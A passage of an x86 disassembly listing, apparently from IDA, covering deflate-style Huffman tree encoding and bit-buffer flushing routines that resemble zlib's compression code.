loc_411C3E: ; CODE XREF: sub_411B94+A3j push 7 pop edx push 4 loc_411C43: ; CODE XREF: sub_411B94+9Fj pop edi loc_411C44: ; CODE XREF: sub_411B94+4Bj add [ebp+var_4], 4 dec esi jnz short loc_411BD0 loc_411C4B: ; CODE XREF: sub_411B94+2Fj pop edi pop esi pop ebx leave retn sub_411B94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C50 proc near ; CODE XREF: sub_4120EA+21Dp ; sub_4120EA+22Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h or [ebp+var_14], 0FFFFFFFFh push ebx push esi movzx esi, word ptr [ecx+2] push edi push 7 mov [ebp+var_8], esi pop edi xor esi, esi cmp [ebp+var_8], esi push 4 pop ebx jnz short loc_411C79 push 3 mov edi, 8Ah pop ebx loc_411C79: ; CODE XREF: sub_411C50+1Fj test edx, edx jl loc_4120E5 add ecx, 6 inc edx mov [ebp+var_C], ecx mov [ebp+var_18], edx loc_411C8B: ; CODE XREF: sub_411C50+48Fj mov ecx, [ebp+var_C] movzx ecx, word ptr [ecx] mov edx, [ebp+var_8] inc esi cmp esi, edi mov [ebp+var_10], edx mov [ebp+var_8], ecx mov [ebp+var_4], esi jge short loc_411CAA cmp edx, ecx jz loc_4120D8 loc_411CAA: ; CODE XREF: sub_411C50+50j cmp esi, ebx jge loc_411D4F loc_411CB2: ; CODE XREF: sub_411C50+F4j movzx edi, word ptr [eax+edx*4+0A7Eh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx jle short loc_411D20 movzx esi, word ptr [eax+edx*4+0A7Ch] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov edx, [ebp+var_10] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_411D3A ; --------------------------------------------------------------------------- loc_411D20: ; CODE XREF: sub_411C50+77j mov bx, [eax+edx*4+0A7Ch] shl bx, cl mov ecx, [eax+16BCh] or [eax+16B8h], bx add ecx, edi loc_411D3A: ; CODE XREF: sub_411C50+CEj dec esi mov [eax+16BCh], ecx mov [ebp+var_4], esi jnz loc_411CB2 jmp loc_4120B5 ; --------------------------------------------------------------------------- loc_411D4F: ; CODE XREF: sub_411C50+5Cj test edx, edx jz loc_411EDA cmp edx, [ebp+var_14] jz loc_411DF2 movzx edi, word ptr [eax+edx*4+0A7Eh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx jle short loc_411DCE movzx esi, word ptr [eax+edx*4+0A7Ch] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov edx, [ebp+var_10] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_411DE8 ; --------------------------------------------------------------------------- loc_411DCE: ; CODE XREF: sub_411C50+125j mov bx, [eax+edx*4+0A7Ch] shl bx, cl mov ecx, [eax+16BCh] or [eax+16B8h], bx add ecx, edi loc_411DE8: ; CODE XREF: sub_411C50+17Cj dec esi mov [eax+16BCh], ecx mov [ebp+var_4], esi loc_411DF2: ; CODE XREF: sub_411C50+10Aj movzx edi, word ptr [eax+0ABEh] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_411E61 movzx esi, word ptr [eax+0ABCh] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_411E77 ; --------------------------------------------------------------------------- loc_411E61: ; CODE XREF: sub_411C50+1B9j mov di, [eax+0ABCh] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_411E77: ; CODE XREF: sub_411C50+20Fj add esi, 0FFFFFFFDh cmp ecx, 0Eh mov [eax+16BCh], ecx jle short loc_411EC9 mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF2h jmp loc_412094 ; --------------------------------------------------------------------------- loc_411EC9: ; CODE XREF: sub_411C50+233j shl esi, cl or [eax+16B8h], si add ecx, 2 jmp loc_4120AF ; --------------------------------------------------------------------------- loc_411EDA: ; CODE XREF: sub_411C50+101j cmp esi, 0Ah mov ecx, [eax+16BCh] push 10h pop ebx jg loc_411FCB movzx edi, word ptr [eax+0AC2h] sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_411F52 movzx esi, word ptr [eax+0AC0h] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_411F68 ; --------------------------------------------------------------------------- loc_411F52: ; CODE XREF: sub_411C50+2AAj mov di, [eax+0AC0h] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_411F68: ; CODE XREF: sub_411C50+300j add esi, 0FFFFFFFDh cmp ecx, 0Dh mov [eax+16BCh], ecx jle short loc_411FBA mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF3h jmp loc_412094 ; --------------------------------------------------------------------------- loc_411FBA: ; CODE XREF: sub_411C50+324j shl esi, cl or [eax+16B8h], si add ecx, 3 jmp loc_4120AF ; --------------------------------------------------------------------------- loc_411FCB: ; CODE XREF: sub_411C50+296j movzx edi, word ptr [eax+0AC6h] sub ebx, edi cmp ecx, ebx mov [ebp+var_10], edi jle short loc_412031 movzx esi, word ptr [eax+0AC4h] mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov edi, [eax+14h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl mov ecx, [ebp+var_10] lea ecx, [ebx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_412047 ; --------------------------------------------------------------------------- loc_412031: ; CODE XREF: sub_411C50+389j mov di, [eax+0AC4h] shl di, cl or [eax+16B8h], di mov edi, [ebp+var_10] add ecx, edi loc_412047: ; CODE XREF: sub_411C50+3DFj add esi, 0FFFFFFF5h cmp ecx, 9 mov [eax+16BCh], ecx jle short loc_4120A3 mov edi, esi shl edi, cl mov ecx, [eax+8] or [eax+16B8h], di mov edi, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edi], bl inc dword ptr [eax+14h] mov edi, [eax+14h] mov ecx, [eax+8] mov bl, [eax+16B9h] mov [edi+ecx], bl mov ebx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, bl shr si, cl add ebx, 0FFFFFFF7h loc_412094: ; CODE XREF: sub_411C50+274j ; sub_411C50+365j mov [eax+16B8h], si mov [eax+16BCh], ebx jmp short loc_4120B5 ; --------------------------------------------------------------------------- loc_4120A3: ; CODE XREF: sub_411C50+403j shl esi, cl or [eax+16B8h], si add ecx, 7 loc_4120AF: ; CODE XREF: sub_411C50+285j ; sub_411C50+376j mov [eax+16BCh], ecx loc_4120B5: ; CODE XREF: sub_411C50+FAj ; sub_411C50+451j xor esi, esi cmp [ebp+var_8], esi mov [ebp+var_14], edx jnz short loc_4120C8 mov edi, 8Ah loc_4120C4: ; CODE XREF: sub_411C50+480j push 3 jmp short loc_4120D7 ; --------------------------------------------------------------------------- loc_4120C8: ; CODE XREF: sub_411C50+46Dj cmp edx, [ebp+var_8] jnz short loc_4120D2 push 6 pop edi jmp short loc_4120C4 ; --------------------------------------------------------------------------- loc_4120D2: ; CODE XREF: sub_411C50+47Bj push 7 pop edi push 4 loc_4120D7: ; CODE XREF: sub_411C50+476j pop ebx loc_4120D8: ; CODE XREF: sub_411C50+54j add [ebp+var_C], 4 dec [ebp+var_18] jnz loc_411C8B loc_4120E5: ; CODE XREF: sub_411C50+2Bj pop edi pop esi pop ebx leave retn sub_411C50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4120EA proc near ; CODE XREF: sub_412DBD+129p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [eax+16BCh] cmp ecx, 0Bh push ebx mov ebx, [ebp+arg_8] push esi push edi jle short loc_412159 mov esi, [ebp+arg_0] add esi, 0FFFFFEFFh mov edx, esi shl edx, cl mov ecx, [eax+14h] or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+arg_8] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF5h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412174 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_4120EA+13j mov edx, [ebp+arg_0] add edx, 0FFFFFEFFh shl edx, cl or [eax+16B8h], dx add ecx, 5 mov [eax+16BCh], ecx loc_412174: ; CODE XREF: sub_4120EA+6Dj mov ecx, [eax+16BCh] cmp ecx, 0Bh jle short loc_4121D7 mov esi, [ebp+arg_4] dec esi mov edx, esi shl edx, cl mov ecx, [eax+14h] mov [ebp+var_4], ebx or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+var_4] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF5h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_4121ED ; --------------------------------------------------------------------------- loc_4121D7: ; CODE XREF: sub_4120EA+93j mov edx, [ebp+arg_4] dec edx shl edx, cl or [eax+16B8h], dx add ecx, 5 mov [eax+16BCh], ecx loc_4121ED: ; CODE XREF: sub_4120EA+EBj mov ecx, [eax+16BCh] cmp ecx, 0Ch jle short loc_41224F lea esi, [ebx-4] mov edx, esi shl edx, cl mov ecx, [eax+14h] mov [ebp+var_4], ebx or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+var_4] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF4h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_412264 ; --------------------------------------------------------------------------- loc_41224F: ; CODE XREF: sub_4120EA+10Cj lea edx, [ebx-4] shl edx, cl or [eax+16B8h], dx add ecx, 4 mov [eax+16BCh], ecx loc_412264: ; CODE XREF: sub_4120EA+163j xor edi, edi test ebx, ebx jle loc_4122FD loc_41226E: ; CODE XREF: sub_4120EA+20Dj mov ecx, [eax+16BCh] cmp ecx, 0Dh movzx edx, ds:byte_41F80C[edi] jle short loc_4122D9 movzx esi, word ptr [eax+edx*4+0A7Eh] mov edx, esi shl edx, cl mov ecx, [eax+14h] or [eax+16B8h], dx mov bl, [eax+16B8h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+arg_8] mov cl, 10h sub cl, dl shr si, cl add edx, 0FFFFFFF3h mov [eax+16BCh], edx mov [eax+16B8h], si jmp short loc_4122F4 ; --------------------------------------------------------------------------- loc_4122D9: ; CODE XREF: sub_4120EA+194j mov dx, [eax+edx*4+0A7Eh] shl dx, cl or [eax+16B8h], dx add ecx, 3 mov [eax+16BCh], ecx loc_4122F4: ; CODE XREF: sub_4120EA+1EDj inc edi cmp edi, ebx jl loc_41226E loc_4122FD: ; CODE XREF: sub_4120EA+17Ej mov edx, [ebp+arg_0] dec edx lea ecx, [eax+94h] call sub_411C50 mov edx, [ebp+arg_4] dec edx lea ecx, [eax+988h] call sub_411C50 pop edi pop esi pop ebx leave retn sub_4120EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412320 proc near ; CODE XREF: sub_412DBD+13Ep ; sub_412DBD+1C8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx mov ebx, [ebp+arg_0] xor ecx, ecx cmp [eax+16A0h], ecx push esi push edi jz loc_412635 loc_41233A: ; CODE XREF: sub_412320+30Fj mov edx, [eax+16A4h] movzx edi, word ptr [edx+ecx*2] mov edx, [eax+1698h] movzx esi, byte ptr [ecx+edx] inc ecx test edi, edi mov [ebp+var_C], edi mov [ebp+var_10], ecx push 10h jnz short loc_4123D5 mov ecx, [eax+16BCh] lea esi, [ebx+esi*4] movzx edi, word ptr [esi+2] pop edx sub edx, edi cmp ecx, edx jle short loc_4123C1 movzx esi, word ptr [esi] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov bl, [eax+16B9h] mov edx, [eax+8] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov ebx, [ebp+arg_0] mov cl, 10h sub cl, dl shr si, cl lea ecx, [edx+edi-10h] mov [eax+16B8h], si jmp loc_412620 ; --------------------------------------------------------------------------- loc_4123C1: ; CODE XREF: sub_412320+4Dj mov dx, [esi] shl dx, cl or [eax+16B8h], dx add ecx, edi jmp loc_412620 ; --------------------------------------------------------------------------- loc_4123D5: ; CODE XREF: sub_412320+39j movzx edx, ds:byte_41FFE0[esi] mov ecx, edx shl ecx, 2 mov [ebp+var_4], ecx movzx ecx, word ptr [ecx+ebx+406h] pop ebx sub ebx, ecx mov [ebp+var_8], ecx mov ecx, [eax+16BCh] cmp ecx, ebx jle short loc_412456 mov edi, [ebp+arg_0] movzx edi, word ptr [edi+edx*4+404h] mov edx, edi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr di, cl mov ecx, [ebp+var_8] lea ecx, [edx+ecx-10h] mov [eax+16B8h], di mov edi, [ebp+var_C] jmp short loc_412470 ; --------------------------------------------------------------------------- loc_412456: ; CODE XREF: sub_412320+DAj mov ebx, [ebp+arg_0] mov dx, [ebx+edx*4+404h] shl dx, cl or [eax+16B8h], dx mov edx, [ebp+var_8] add ecx, edx loc_412470: ; CODE XREF: sub_412320+134j mov [eax+16BCh], ecx mov ecx, [ebp+var_4] mov edx, ds:dword_41F798[ecx] test edx, edx mov [ebp+var_4], edx jz short loc_4124F8 sub esi, ds:dword_4200E0[ecx] mov ecx, [eax+16BCh] push 10h pop ebx sub ebx, edx cmp ecx, ebx jle short loc_4124E7 mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+var_4] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si jmp short loc_4124F2 ; --------------------------------------------------------------------------- loc_4124E7: ; CODE XREF: sub_412320+179j shl esi, cl or [eax+16B8h], si add ecx, edx loc_4124F2: ; CODE XREF: sub_412320+1C5j mov [eax+16BCh], ecx loc_4124F8: ; CODE XREF: sub_412320+164j dec edi cmp edi, 100h jnb short loc_41250A movzx ecx, ds:byte_41FDE0[edi] jmp short loc_412516 ; --------------------------------------------------------------------------- loc_41250A: ; CODE XREF: sub_412320+1DFj mov ecx, edi shr ecx, 7 movzx ecx, ds:byte_41FEE0[ecx] loc_412516: ; CODE XREF: sub_412320+1E8j mov esi, ecx mov ecx, [ebp+arg_4] shl esi, 2 lea edx, [esi+ecx] movzx ecx, word ptr [edx+2] push 10h pop ebx sub ebx, ecx mov [ebp+var_8], ecx mov ecx, [eax+16BCh] cmp ecx, ebx mov [ebp+var_4], esi jle short loc_41258C movzx esi, word ptr [edx] mov edx, esi shl edx, cl mov ecx, [eax+8] or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov bl, [eax+16B9h] mov [ecx+edx], bl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+var_8] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si mov esi, [ebp+var_4] jmp short loc_41259E ; --------------------------------------------------------------------------- loc_41258C: ; CODE XREF: sub_412320+218j mov dx, [edx] shl dx, cl or [eax+16B8h], dx mov edx, [ebp+var_8] add ecx, edx loc_41259E: ; CODE XREF: sub_412320+26Aj mov ebx, [ebp+arg_0] mov [eax+16BCh], ecx mov edx, ds:dword_41F820[esi] test edx, edx mov [ebp+var_4], edx jz short loc_412626 sub edi, ds:dword_420158[esi] push 10h pop esi sub esi, edx cmp ecx, esi jle short loc_412615 mov edx, edi shl edx, cl mov ecx, [eax+8] mov [ebp+var_C], ebx or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov dl, [eax+16B9h] mov esi, [eax+14h] mov ebx, [ebp+var_C] mov [esi+ecx], dl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr di, cl mov ecx, [ebp+var_4] lea ecx, [edx+ecx-10h] mov [eax+16B8h], di jmp short loc_412620 ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_412320+2A1j shl edi, cl or [eax+16B8h], di add ecx, edx loc_412620: ; CODE XREF: sub_412320+9Cj ; sub_412320+B0j ... mov [eax+16BCh], ecx loc_412626: ; CODE XREF: sub_412320+292j mov ecx, [ebp+var_10] cmp ecx, [eax+16A0h] jb loc_41233A loc_412635: ; CODE XREF: sub_412320+14j movzx edx, word ptr [ebx+402h] mov ecx, [eax+16BCh] push 10h pop esi sub esi, edx cmp ecx, esi mov [ebp+arg_0], edx jle short loc_4126A7 movzx esi, word ptr [ebx+400h] mov edx, esi shl edx, cl mov ecx, [eax+8] mov [ebp+var_10], ebx or [eax+16B8h], dx mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+8] mov dl, [eax+16B9h] mov edi, [eax+14h] mov ebx, [ebp+var_10] mov [edi+ecx], dl mov edx, [eax+16BCh] inc dword ptr [eax+14h] mov cl, 10h sub cl, dl shr si, cl mov ecx, [ebp+arg_0] lea ecx, [edx+ecx-10h] mov [eax+16B8h], si jmp short loc_4126BA ; --------------------------------------------------------------------------- loc_4126A7: ; CODE XREF: sub_412320+32Cj mov si, [ebx+400h] shl si, cl or [eax+16B8h], si add ecx, edx loc_4126BA: ; CODE XREF: sub_412320+385j mov [eax+16BCh], ecx movzx ecx, word ptr [ebx+402h] pop edi pop esi mov [eax+16B4h], ecx pop ebx leave retn sub_412320 endp ; =============== S U B R O U T I N E ======================================= sub_4126D2 proc near ; CODE XREF: sub_412DBD+23p xor eax, eax lea ecx, [edx+94h] loc_4126DA: ; CODE XREF: sub_4126D2+15j cmp word ptr [ecx], 0 jnz short loc_4126E9 inc eax add ecx, 4 cmp eax, 9 jl short loc_4126DA loc_4126E9: ; CODE XREF: sub_4126D2+Cj cmp eax, 9 jnz short loc_412706 push 0Eh pop eax lea ecx, [edx+0CCh] loc_4126F7: ; CODE XREF: sub_4126D2+32j cmp word ptr [ecx], 0 jnz short loc_412706 inc eax add ecx, 4 cmp eax, 20h jl short loc_4126F7 loc_412706: ; CODE XREF: sub_4126D2+1Aj ; sub_4126D2+29j xor ecx, ecx cmp eax, 20h mov eax, [edx] setz cl mov [eax+2Ch], ecx retn sub_4126D2 endp ; =============== S U B R O U T I N E ======================================= sub_412714 proc near ; CODE XREF: sub_412BF6:loc_412CC7p ; sub_412BF6:loc_412DABp mov ecx, [eax+16BCh] cmp ecx, 10h push ebx jnz short loc_412755 mov edx, [eax+14h] mov bl, [eax+16B8h] mov ecx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov bl, [eax+16B9h] mov ecx, [eax+14h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] and word ptr [eax+16B8h], 0 and dword ptr [eax+16BCh], 0 pop ebx retn ; --------------------------------------------------------------------------- loc_412755: ; CODE XREF: sub_412714+Aj cmp ecx, 8 jl short loc_41277F mov edx, [eax+8] lea ecx, [eax+16B8h] mov bl, [ecx] push esi mov esi, [eax+14h] mov [edx+esi], bl movzx dx, byte ptr [ecx+1] inc dword ptr [eax+14h] add dword ptr [eax+16BCh], 0FFFFFFF8h mov [ecx], dx pop esi loc_41277F: ; CODE XREF: sub_412714+44j pop ebx retn sub_412714 endp ; =============== S U B R O U T I N E ======================================= sub_412781 proc near ; CODE XREF: sub_4127D8+9p ; sub_412DBD+1E0j mov ecx, [eax+16BCh] cmp ecx, 8 push ebx jle short loc_4127B1 mov edx, [eax+8] push esi mov esi, [eax+14h] lea ecx, [eax+16B8h] mov bl, [ecx] mov [edx+esi], bl inc dword ptr [eax+14h] mov esi, [eax+8] mov edx, [eax+14h] mov cl, [ecx+1] mov [edx+esi], cl pop esi jmp short loc_4127C4 ; --------------------------------------------------------------------------- loc_4127B1: ; CODE XREF: sub_412781+Aj test ecx, ecx jle short loc_4127C7 mov ecx, [eax+8] mov edx, [eax+14h] mov bl, [eax+16B8h] mov [ecx+edx], bl loc_4127C4: ; CODE XREF: sub_412781+2Ej inc dword ptr [eax+14h] loc_4127C7: ; CODE XREF: sub_412781+32j and word ptr [eax+16B8h], 0 and dword ptr [eax+16BCh], 0 pop ebx retn sub_412781 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D8 proc near ; CODE XREF: sub_412B6B+83p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push edi mov ebx, ecx mov edi, edx call sub_412781 cmp [ebp+arg_0], 0 mov dword ptr [eax+16B4h], 8 jz short loc_412848 mov ecx, [eax+14h] mov edx, [eax+8] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov edx, [eax+8] mov [ecx+edx], bh inc dword ptr [eax+14h] mov edx, [eax+8] push esi mov esi, [eax+14h] mov cl, bl not cl mov [esi+edx], cl inc dword ptr [eax+14h] mov esi, [eax+14h] mov edx, [eax+8] mov ecx, ebx not ecx mov [esi+edx], ch inc dword ptr [eax+14h] pop esi jmp short loc_412848 ; --------------------------------------------------------------------------- loc_412832: ; CODE XREF: sub_4127D8+72j mov ecx, [eax+14h] mov edx, [eax+8] dec ebx mov [ebp+arg_0], ebx mov bl, [edi] mov [ecx+edx], bl inc dword ptr [eax+14h] mov ebx, [ebp+arg_0] inc edi loc_412848: ; CODE XREF: sub_4127D8+1Cj ; sub_4127D8+58j test ebx, ebx jnz short loc_412832 pop edi pop ebx pop ebp retn sub_4127D8 endp ; =============== S U B R O U T I N E ======================================= sub_412850 proc near ; CODE XREF: sub_40FA03+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] and word ptr [eax+16B8h], 0 and dword ptr [eax+16BCh], 0 lea ecx, [eax+94h] mov [eax+0B18h], ecx lea ecx, [eax+988h] mov [eax+0B24h], ecx lea ecx, [eax+0A7Ch] mov dword ptr [eax+0B20h], offset dword_421C44 mov dword ptr [eax+0B2Ch], offset dword_421C58 mov [eax+0B30h], ecx mov dword ptr [eax+0B38h], offset dword_421C6C mov dword ptr [eax+16B4h], 8 jmp sub_4118C9 sub_412850 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4128B4 proc near ; CODE XREF: sub_412922+1DEp var_20 = word ptr -20h var_1E = byte ptr -1Eh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi xor ecx, ecx push edi lea esi, [ebp+var_1E] xor edi, edi xor eax, eax inc ecx sub edx, esi loc_4128C8: ; CODE XREF: sub_4128B4+2Ej lea esi, [edx+ecx*2] mov si, [ebp+esi+var_20] add si, ax add si, si movzx eax, si mov [ebp+ecx*2+var_20], ax inc ecx cmp ecx, 0Fh jle short loc_4128C8 cmp [ebp+arg_0], edi jl short loc_41291E loc_4128E9: ; CODE XREF: sub_4128B4+68j movzx edx, word ptr [ebx+edi*4+2] test edx, edx jz short loc_412918 lea eax, [ebp+edx*2+var_20] movzx ecx, word ptr [eax] movzx esi, cx inc ecx mov [eax], cx xor eax, eax loc_412902: ; CODE XREF: sub_4128B4+5Cj mov ecx, esi and ecx, 1 or eax, ecx shr esi, 1 add eax, eax dec edx test edx, edx jg short loc_412902 shr eax, 1 mov [ebx+edi*4], ax loc_412918: ; CODE XREF: sub_4128B4+3Cj inc edi cmp edi, [ebp+arg_0] jle short loc_4128E9 loc_41291E: ; CODE XREF: sub_4128B4+33j pop edi pop esi leave retn sub_4128B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412922 proc near ; CODE XREF: sub_412B0A+2Ep ; sub_412DBD+2Fp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_0] mov eax, [edx+8] mov ecx, [eax+0Ch] or [ebp+var_8], 0FFFFFFFFh push ebx mov ebx, [eax] xor eax, eax test ecx, ecx push edi mov edi, [edx] mov [ebp+var_4], ecx mov [esi+1450h], eax mov dword ptr [esi+1454h], 23Dh jle loc_4129D8 loc_412958: ; CODE XREF: sub_412922+67j cmp word ptr [edi+eax*4], 0 jz short loc_41297F inc dword ptr [esi+1450h] mov ecx, [esi+1450h] mov [esi+ecx*4+0B5Ch], eax mov [ebp+var_8], eax mov byte ptr [eax+esi+1458h], 0 jmp short loc_412985 ; --------------------------------------------------------------------------- loc_41297F: ; CODE XREF: sub_412922+3Bj and word ptr [edi+eax*4+2], 0 loc_412985: ; CODE XREF: sub_412922+5Bj inc eax cmp eax, [ebp+var_4] jl short loc_412958 jmp short loc_4129D8 ; --------------------------------------------------------------------------- loc_41298D: ; CODE XREF: sub_412922+BDj cmp [ebp+var_8], 2 jge short loc_41299B inc [ebp+var_8] mov eax, [ebp+var_8] jmp short loc_41299D ; --------------------------------------------------------------------------- loc_41299B: ; CODE XREF: sub_412922+6Fj xor eax, eax loc_41299D: ; CODE XREF: sub_412922+77j inc dword ptr [esi+1450h] mov ecx, [esi+1450h] mov [esi+ecx*4+0B5Ch], eax mov ecx, eax shl ecx, 2 mov word ptr [ecx+edi], 1 mov byte ptr [esi+eax+1458h], 0 dec dword ptr [esi+16A8h] test ebx, ebx jz short loc_4129D8 movzx eax, word ptr [ecx+ebx+2] sub [esi+16ACh], eax loc_4129D8: ; CODE XREF: 